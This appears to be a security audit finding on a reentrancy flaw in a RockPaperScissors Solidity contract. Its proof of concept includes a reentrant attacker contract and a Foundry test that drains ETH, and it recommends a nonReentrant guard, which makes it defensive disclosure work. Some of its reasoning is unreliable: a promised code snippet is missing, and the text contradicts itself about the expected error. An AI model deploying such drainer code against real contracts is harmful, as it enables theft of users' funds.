Summary

The RockPaperScissors::_finishGame function is vulnerable to a reentrancy attack. This vulnerability is triggered when external calls to transfer ETH are made before modifying the contract's state, which allows malicious contracts to repeatedly call the function, extracting funds until they are exhausted or the transaction fails.

Vulnerability Details

1. The contract first performs an ETH transfer to the winner using (bool success, ) = _winner.call{value: prize}("");

2. But there is no state change for the game.bet or prize before or after this transfer.

3. The malicious contract can implement a fallback function or receive() function that gets triggered when it receives ETH.

4. The attacker reenters the function during the ETH transfer to initiate another transfer, repeating the cycle.

5. This process allows the attacker to repeatedly call the transfer, draining funds from the contract.

Even if the game.bet parameter is set to 0 before sending the funds, when the malicious contract reenters, they will be able to reach the following piece of code:

Thus, even that will result in the attacker winning 2 tokens.

Another issue that arises due to the attacker reentering the function is that the accumulatedFeesgets incremented every time the function is called. Thus along with the attacker, the admin will also benefit from this vulnerability.

Proof Of Code

1. Add the following helper functions in the RockPaperScissors.sol contract:

   function __testSetGamePlayerA(uint256 _gameId, address _playerA) external {

   games[_gameId].playerA = _playerA;

   }

   ​

   function __testSetGameState(uint256 _gameId, GameState _state) external {

   games[_gameId].state = _state;

   }

   ​

   function __testSetCommitments(

   uint256 _gameId,

   bytes32 commitA,

   bytes32 commitB

   ) external {

   games[_gameId].commitA = commitA;

   games[_gameId].commitB = commitB;

   }

   ​

   function __testSetMoves(uint256 _gameId, Move moveA, Move moveB) external {

   games[_gameId].moveA = moveA;

   games[_gameId].moveB = moveB;

   }

   ​

   function __testSetRevealDeadline(

   uint256 _gameId,

   uint256 deadline

   ) external {

   games[_gameId].revealDeadline = deadline;

   }

2. Then add this Malicious contract in the RockPaperScissorsrTest.t.sol file:

   contract DrainFundsAttacker {

   RockPaperScissors public game;

   uint256 public gameId;

   bool public active;

   uint256 public count;

   ​

   constructor(RockPaperScissors _game, uint256 _gameId) {

   game = _game;

   gameId = _gameId;

   }

   ​

   receive() external payable {

   if (active && count < 10) { // Limit to prevent infinite loop

   count++;

   game.timeoutReveal(gameId);

   }

   }

   ​

   function attack() external {

   active = true;

   game.timeoutReveal(gameId);

   active = false;

   }

   ​

   function getBalance() public view returns (uint256) {

   return address(this).balance;

   }

   }

3. Add this testing function in the RockPaperScissorsTest.t.sol file:

   function testReentrancyDrainETHOnFinishGame() public {

   vm.startPrank(playerA);

   gameId = game.createGameWithEth{value: BET_AMOUNT}(

   TOTAL_TURNS,

   TIMEOUT

   );

   vm.stopPrank();

   ​

   DrainFundsAttacker attacker = new DrainFundsAttacker(game, gameId);

   vm.deal(address(attacker), 1 ether);

   ​

   game.__testSetGamePlayerA(gameId, address(attacker));

   game.__testSetGameState(gameId, RockPaperScissors.GameState.Committed);

   ​

   bytes32 commit = keccak256(abi.encodePacked(uint8(1), bytes32("salt")));

   game.__testSetCommitments(gameId, commit, commit);

   game.__testSetMoves(

   gameId,

   RockPaperScissors.Move.Rock,

   RockPaperScissors.Move.None

   );

   game.__testSetRevealDeadline(gameId, block.timestamp - 1);

   ​

   vm.prank(address(attacker));

   attacker.attack();

   ​

   assertGt(

   attacker.getBalance(),

   BET_AMOUNT,

   "Attacker should have drained more than one bet"

   );

   ​

   emit log_named_uint("Attacker drained", attacker.getBalance());

   }

This shoud display the OutOfFunds error thus proving the vulnerability.

Impact

1. The attacker can drain all the ETH from the contract thus causing huge losses.

Tools Used

Manual Review

Recommendations

Use the nonReentrantkeyword to prevent the reentrancy attacks.